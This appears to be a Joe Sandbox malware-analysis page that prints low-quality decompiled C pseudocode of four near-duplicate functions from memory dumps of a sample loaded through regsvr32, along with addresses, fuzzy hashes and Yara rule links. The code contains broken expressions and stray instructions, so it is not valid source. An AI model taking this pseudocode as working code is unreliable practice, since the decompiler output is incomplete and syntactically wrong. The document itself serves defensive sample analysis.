0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068aa48495525eb24d109da2008bdc7fadeea4790eb4f0d911f5adf9a4669d55
Instruction ID: 73de4dee42cae1cb9adb35e63a5ea9919a89167efafefd72c94c8ae2cec0c289
Opcode Fuzzy Hash: 068aa48495525eb24d109da2008bdc7fadeea4790eb4f0d911f5adf9a4669d55
Instruction Fuzzy Hash: 3441BF23B01A5489EF15DE26C9502AD3760F785F98F98852BEE8E63794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004088B9 Relevance: .1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E004088B9(void* __ebx, void* __ecx, void* __edx, intOrPtr* __rax, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t37;
				signed int _t40;
				void* _t43;
				void* _t44;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr* _t75;
				intOrPtr _t76;
				signed char* _t81;
				signed char* _t85;
				signed char* _t88;
				intOrPtr* _t90;
				void* _t91;
				void* _t92;
				void* _t93;
				intOrPtr* _t95;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				void* _t112;
				intOrPtr* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t132;
				void* _t134;
				void* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t75 = __rax;
				_t49 = __edx;
				_t44 = __ecx;
				_t43 = __ebx;
				_t115 = __rax;
				_t95 =  *((intOrPtr*)(_t117 - 8));
				if(_t95 != 0) {
					_t75 =  *_t95;
					_t35 =  *((intOrPtr*)(_t75 + 0x18))();
					_t55 = _t75;
					if(_t75 != 0) {
						_t106 =  *_t75;
						_t35 =  *((intOrPtr*)( *_t75 + 8))();
					}
				}
				E0044CEA0(_t35, _t115);
				asm("ud2");
				_t97 = _t75;
				_t37 = E00401F90(_t44, _t49, _t55, _t75, _t75, _t106, _t123);
				asm("ud2");
				 *_t75 =  *_t75 + _t37;
				 *_t75 =  *_t75 + _t37;
				 *((intOrPtr*)(_t75 - 0x6f6f6f70)) =  *((intOrPtr*)(_t75 - 0x6f6f6f70)) + _t49;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t132 = _t125;
				_t129 = _t123;
				_t76 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t91, _t112, _t115, _t128, _t131, _t134, _t137, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t76 + 0x18));
				_t92 = _t118 - 0x30;
				_t124 = _t129;
				_t50 = L00409A20(_t43, _t44, _t49, _t37 - 0x45, _t118 - 8, _t92, _t92, _t97, _t115, _t129, _t132, _t129, _t132, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t90 =  *_t100;
					 *((intOrPtr*)(_t90 + 0x18))();
					if(_t90 != 0) {
						 *((intOrPtr*)( *_t90 + 8))();
					}
				}
				_t93 =  ==  ? _t118 - 0x2f : _t92;
				r8d = _t50;
				_t40 = E004302D0(_t49, _t118 - 0x2f, _t93, _t118 - 0x10, _t124, _t118 + 4);
				r15d = _t40;
				_t102 =  *_t129;
				_t51 = 0;
				_t53 = 0;
				if(_t102 != 0) {
					_t88 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t88 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t40 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t40 =  *_t88 & 0x000000ff;
					}
					_t53 = 0;
					sil = _t40 != 0xffffffff;
				}
				_t103 =  *_t132;
				if(_t103 != 0) {
					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t85 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t40 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t40 =  *_t85 & 0x000000ff;
					}
					_t51 = 0;
					dil = _t40 != 0xffffffff;
				}
				_t81 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t53 == _t51) {
					 *_t81 =  *_t81 | 0x00000001;
				}
				if( *((intOrPtr*)(_t118 - 0x10)) == _t93 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t81 =  *_t81 | 0x00000002;
					__eflags =  *_t81;
				} else {
					_t48 =  !=  ? r15d :  ~r15d;
					 *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r15d :  ~r15d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t40;
			}

0x004088b9
0x004088b9
0x004088b9
0x004088b9
0x004088b9
0x004088b9
0x004088b9
0x004088bc
0x004088c3
0x004088c5
0x004088c8
0x004088cb
0x004088ce
0x004088d0
0x004088d6
0x004088d6
0x004088ce
0x004088dc
0x004088e1
0x004088e5
0x004088e8
0x004088ed
0x004088f2
0x004088f4
0x004088f6
0x0040890c
0x00408910
0x00408915
0x00408918
0x00408921
0x00408925
0x00408933
0x00408936
0x0040893d
0x00408944
0x00408949
0x0040894d
0x00408957
0x00408962
0x00408964
0x0040896b
0x0040896d
0x00408970
0x00408976
0x0040897e
0x0040897e
0x00408976
0x00408989
0x00408998
0x0040899b
0x004089a0
0x004089a3
0x004089a7
0x004089ac
0x004089b1
0x004089b7
0x004089bd
0x004089d0
0x004089c8
0x004089c8
0x004089c8
0x004089d3
0x004089d8
0x004089d8
0x004089dc
0x004089e3
0x004089e9
0x004089ef
0x00408a02
0x004089fa
0x004089fa
0x004089fa
0x00408a05
0x00408a0a
0x00408a0a
0x00408a0e
0x00408a14
0x00408a16
0x00408a16
0x00408a1d
0x00408a3e
0x00408a3e
0x00408a26
0x00408a36
0x00408a3a
0x00408a3a
0x00408a41
0x00408a46
0x00408a5d

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eafb3f13e2cb1bfb62967ee57e04496e5d1ab852279bc32a10b53190f357a5cc
Instruction ID: 2c58d6488cec126affb16c57f0492ec323ee5640c9c3da18927eadd8041a2dfa
Opcode Fuzzy Hash: eafb3f13e2cb1bfb62967ee57e04496e5d1ab852279bc32a10b53190f357a5cc
Instruction Fuzzy Hash: CF418D63705A5489DF15DE6AC9402AE3760B784FD8B48812BDE8E63794DF3CC982D304

Uniqueness

Uniqueness Score: -1.00%

Function 004086C4 Relevance: .1, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E004086C4(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr* _t75;
				intOrPtr _t76;
				signed char* _t81;
				signed char* _t85;
				signed char* _t88;
				intOrPtr* _t90;
				signed int* _t91;
				void* _t92;
				void* _t93;
				intOrPtr* _t96;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr _t103;
				void* _t104;
				void* _t110;
				void* _t113;
				void* _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				intOrPtr* _t121;
				intOrPtr* _t123;
				void* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t131;
				void* _t134;
				intOrPtr* _t135;

				_t123 = __r9;
				_t121 = __r8;
				_t104 = __rdx;
				_t91 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t113 = __rax;
				_t75 =  *((intOrPtr*)(_t115 + 0x10));
				if(_t75 >= 0x10) {
					_t103 =  *((intOrPtr*)(_t115 - 8));
					_t75 = _t75 + 1;
					_t54 = _t75 - 0x1000;
					if(_t75 >= 0x1000) {
						_t103 =  *((intOrPtr*)(_t103 - 8));
					}
					_t35 = E00402090(_t35, _t103);
				}
				_t95 = _t113;
				_t36 = E0044CEA0(_t35, _t113);
				asm("ud2");
				 *_t91 =  *_t91 ^ _t42;
				 *_t121 =  *_t121 + r8b;
				 *_t75 =  *_t75 + _t36;
				 *((intOrPtr*)(_t75 - 0x6f6f6f70)) =  *((intOrPtr*)(_t75 - 0x6f6f6f70)) + _t48;
				_t119 = _t118 - 0x68;
				_t116 = _t119 + 0x60;
				_t127 = _t123;
				_t135 = _t121;
				_t76 =  *((intOrPtr*)(_t116 + 0x70));
				 *((intOrPtr*)(_t116 + 4)) = 0;
				_t96 =  *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x40))));
				 *((long long*)(_t116 - 8)) = _t96;
				 *((intOrPtr*)( *_t96 + 0x10))(_t91, _t110, _t113, _t126, _t129, _t131, _t134, _t115);
				 *((long long*)(_t119 + 0x28)) = _t116 - 8;
				 *((intOrPtr*)(_t119 + 0x20)) =  *((intOrPtr*)(_t76 + 0x18));
				_t92 = _t116 - 0x30;
				_t122 = _t135;
				_t49 = L00409A20(_t42, _t43, _t48, _t54, _t116 - 8, _t92, _t92, _t95, _t113, _t135, _t127, _t127, _t129, _t104, _t135);
				_t98 =  *((intOrPtr*)(_t116 - 8));
				if(_t98 != 0) {
					_t90 =  *_t98;
					 *((intOrPtr*)(_t90 + 0x18))();
					if(_t90 != 0) {
						 *((intOrPtr*)( *_t90 + 8))();
					}
				}
				_t93 =  ==  ? _t116 - 0x2f : _t92;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t116 - 0x2f, _t93, _t116 - 0x10, _t122, _t116 + 4);
				r13d = _t39;
				_t100 =  *_t135;
				_t52 = 0;
				_t50 = 0;
				if(_t100 != 0) {
					_t88 =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0x38))));
					if(_t88 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t100 + 0x38))();
					} else {
						_t39 =  *_t88 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t101 =  *_t127;
				if(_t101 != 0) {
					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t101 + 0x38))));
					if(_t85 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t101 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t101 + 0x38))();
					} else {
						_t39 =  *_t85 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t81 =  *((intOrPtr*)(_t116 + 0x78));
				if(_t50 == _t52) {
					 *_t81 =  *_t81 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t116 - 0x10)) == _t93 ||  *((intOrPtr*)(_t116 + 4)) != 0) {
					 *_t81 =  *_t81 | 0x00000002;
					__eflags =  *_t81;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t116 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086c4
0x004086c4
0x004086c4
0x004086c4
0x004086c4
0x004086c4
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1f6284f21ef7a2f264d16e82724f14551b482929dd15c131c437bcb7cc9f64c
Instruction ID: 7070fb4b1681ae9508e56e5bcbf499672c340aeff2801e29cd8251ec5f7e4259
Opcode Fuzzy Hash: a1f6284f21ef7a2f264d16e82724f14551b482929dd15c131c437bcb7cc9f64c
Instruction Fuzzy Hash: 0B419F23701A5489EB15DE26D9502AD3760F785F98F98852BDE8E67794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004086C6 Relevance: .1, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E004086C6(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr* _t75;
				intOrPtr _t76;
				signed char* _t81;
				signed char* _t85;
				signed char* _t88;
				intOrPtr* _t90;
				signed int* _t91;
				void* _t92;
				void* _t93;
				intOrPtr* _t96;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr _t103;
				void* _t104;
				void* _t110;
				void* _t113;
				void* _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				intOrPtr* _t121;
				intOrPtr* _t123;
				void* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t131;
				void* _t134;
				intOrPtr* _t135;

				_t123 = __r9;
				_t121 = __r8;
				_t104 = __rdx;
				_t91 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t113 = __rax;
				_t75 =  *((intOrPtr*)(_t115 + 0x10));
				if(_t75 >= 0x10) {
					_t103 =  *((intOrPtr*)(_t115 - 8));
					_t75 = _t75 + 1;
					_t54 = _t75 - 0x1000;
					if(_t75 >= 0x1000) {
						_t103 =  *((intOrPtr*)(_t103 - 8));
					}
					_t35 = E00402090(_t35, _t103);
				}
				_t95 = _t113;
				_t36 = E0044CEA0(_t35, _t113);
				asm("ud2");
				 *_t91 =  *_t91 ^ _t42;
				 *_t121 =  *_t121 + r8b;
				 *_t75 =  *_t75 + _t36;
				 *((intOrPtr*)(_t75 - 0x6f6f6f70)) =  *((intOrPtr*)(_t75 - 0x6f6f6f70)) + _t48;
				_t119 = _t118 - 0x68;
				_t116 = _t119 + 0x60;
				_t127 = _t123;
				_t135 = _t121;
				_t76 =  *((intOrPtr*)(_t116 + 0x70));
				 *((intOrPtr*)(_t116 + 4)) = 0;
				_t96 =  *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x40))));
				 *((long long*)(_t116 - 8)) = _t96;
				 *((intOrPtr*)( *_t96 + 0x10))(_t91, _t110, _t113, _t126, _t129, _t131, _t134, _t115);
				 *((long long*)(_t119 + 0x28)) = _t116 - 8;
				 *((intOrPtr*)(_t119 + 0x20)) =  *((intOrPtr*)(_t76 + 0x18));
				_t92 = _t116 - 0x30;
				_t122 = _t135;
				_t49 = L00409A20(_t42, _t43, _t48, _t54, _t116 - 8, _t92, _t92, _t95, _t113, _t135, _t127, _t127, _t129, _t104, _t135);
				_t98 =  *((intOrPtr*)(_t116 - 8));
				if(_t98 != 0) {
					_t90 =  *_t98;
					 *((intOrPtr*)(_t90 + 0x18))();
					if(_t90 != 0) {
						 *((intOrPtr*)( *_t90 + 8))();
					}
				}
				_t93 =  ==  ? _t116 - 0x2f : _t92;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t116 - 0x2f, _t93, _t116 - 0x10, _t122, _t116 + 4);
				r13d = _t39;
				_t100 =  *_t135;
				_t52 = 0;
				_t50 = 0;
				if(_t100 != 0) {
					_t88 =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0x38))));
					if(_t88 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t100 + 0x38))();
					} else {
						_t39 =  *_t88 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t101 =  *_t127;
				if(_t101 != 0) {
					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t101 + 0x38))));
					if(_t85 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t101 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t101 + 0x38))();
					} else {
						_t39 =  *_t85 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t81 =  *((intOrPtr*)(_t116 + 0x78));
				if(_t50 == _t52) {
					 *_t81 =  *_t81 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t116 - 0x10)) == _t93 ||  *((intOrPtr*)(_t116 + 4)) != 0) {
					 *_t81 =  *_t81 | 0x00000002;
					__eflags =  *_t81;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t116 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086c6
0x004086c6
0x004086c6
0x004086c6
0x004086c6
0x004086c6
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe85faa5c1834f4ae2c9ea64019fcdf9612ac32caab5350d6cfd3b7e6e83a832
Instruction ID: 7070fb4b1681ae9508e56e5bcbf499672c340aeff2801e29cd8251ec5f7e4259
Opcode Fuzzy Hash: fe85faa5c1834f4ae2c9ea64019fcdf9612ac32caab5350d6cfd3b7e6e83a832
Instruction Fuzzy Hash: 0B419F23701A5489EB15DE26D9502AD3760F785F98F98852BDE8E67794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004088B7 Relevance: .1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E004088B7(void* __edx, intOrPtr* __rax, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t32;
				signed int _t35;
				void* _t38;
				void* _t39;
				void* _t45;
				intOrPtr _t46;
				intOrPtr _t48;
				void* _t49;
				intOrPtr _t70;
				signed char* _t75;
				signed char* _t79;
				signed char* _t82;
				intOrPtr* _t84;
				void* _t85;
				void* _t86;
				void* _t87;
				intOrPtr* _t90;
				intOrPtr* _t92;
				intOrPtr* _t94;
				intOrPtr* _t95;
				void* _t103;
				void* _t106;
				void* _t108;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t119;
				intOrPtr* _t120;
				void* _t122;
				intOrPtr* _t123;
				void* _t125;
				void* _t128;

				_t44 = __edx;
				_t32 = E00401F90(_t39, __edx, _t49, __rax, __rax, __rdx, __r8);
				asm("ud2");
				 *__rax =  *__rax + _t32;
				 *__rax =  *__rax + _t32;
				 *((intOrPtr*)(__rax - 0x6f6f6f70)) =  *((intOrPtr*)(__rax - 0x6f6f6f70)) + __edx;
				_t112 = _t111 - 0x68;
				_t109 = _t112 + 0x60;
				_t123 = __r9;
				_t120 = __r8;
				_t70 =  *((intOrPtr*)(_t109 + 0x70));
				 *((intOrPtr*)(_t109 + 4)) = 0;
				_t90 =  *((intOrPtr*)( *((intOrPtr*)(_t70 + 0x40))));
				 *((long long*)(_t109 - 8)) = _t90;
				 *((intOrPtr*)( *_t90 + 0x10))(_t85, _t103, _t106, _t119, _t122, _t125, _t128, _t108);
				 *((long long*)(_t112 + 0x28)) = _t109 - 8;
				 *((intOrPtr*)(_t112 + 0x20)) =  *((intOrPtr*)(_t70 + 0x18));
				_t86 = _t109 - 0x30;
				_t115 = __r8;
				_t45 = L00409A20(_t38, _t39, __edx, _t32 - 0x45, _t109 - 8, _t86, _t86, __rax, _t106, __r8, __r9, __r8, __r9, __rdx, _t128);
				_t92 =  *((intOrPtr*)(_t109 - 8));
				if(_t92 != 0) {
					_t84 =  *_t92;
					 *((intOrPtr*)(_t84 + 0x18))();
					if(_t84 != 0) {
						 *((intOrPtr*)( *_t84 + 8))();
					}
				}
				_t87 =  ==  ? _t109 - 0x2f : _t86;
				r8d = _t45;
				_t35 = E004302D0(_t44, _t109 - 0x2f, _t87, _t109 - 0x10, _t115, _t109 + 4);
				r15d = _t35;
				_t94 =  *_t120;
				_t46 = 0;
				_t48 = 0;
				if(_t94 != 0) {
					_t82 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x38))));
					if(_t82 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x50)))) <= 0) {
						_t35 =  *((intOrPtr*)( *_t94 + 0x38))();
					} else {
						_t35 =  *_t82 & 0x000000ff;
					}
					_t48 = 0;
					sil = _t35 != 0xffffffff;
				}
				_t95 =  *_t123;
				if(_t95 != 0) {
					_t79 =  *((intOrPtr*)( *((intOrPtr*)(_t95 + 0x38))));
					if(_t79 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t95 + 0x50)))) <= 0) {
						_t35 =  *((intOrPtr*)( *_t95 + 0x38))();
					} else {
						_t35 =  *_t79 & 0x000000ff;
					}
					_t46 = 0;
					dil = _t35 != 0xffffffff;
				}
				_t75 =  *((intOrPtr*)(_t109 + 0x78));
				if(_t48 == _t46) {
					 *_t75 =  *_t75 | 0x00000001;
				}
				if( *((intOrPtr*)(_t109 - 0x10)) == _t87 ||  *((intOrPtr*)(_t109 + 4)) != 0) {
					 *_t75 =  *_t75 | 0x00000002;
					__eflags =  *_t75;
				} else {
					_t43 =  !=  ? r15d :  ~r15d;
					 *((intOrPtr*)( *((intOrPtr*)(_t109 + 0x80)))) =  !=  ? r15d :  ~r15d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t35;
			}

0x004088b7
0x004088e8
0x004088ed
0x004088f2
0x004088f4
0x004088f6
0x0040890c
0x00408910
0x00408915
0x00408918
0x00408921
0x00408925
0x00408933
0x00408936
0x0040893d
0x00408944
0x00408949
0x0040894d
0x00408957
0x00408962
0x00408964
0x0040896b
0x0040896d
0x00408970
0x00408976
0x0040897e
0x0040897e
0x00408976
0x00408989
0x00408998
0x0040899b
0x004089a0
0x004089a3
0x004089a7
0x004089ac
0x004089b1
0x004089b7
0x004089bd
0x004089d0
0x004089c8
0x004089c8
0x004089c8
0x004089d3
0x004089d8
0x004089d8
0x004089dc
0x004089e3
0x004089e9
0x004089ef
0x00408a02
0x004089fa
0x004089fa
0x004089fa
0x00408a05
0x00408a0a
0x00408a0a
0x00408a0e
0x00408a14
0x00408a16
0x00408a16
0x00408a1d
0x00408a3e
0x00408a3e
0x00408a26
0x00408a36
0x00408a3a
0x00408a3a
0x00408a41
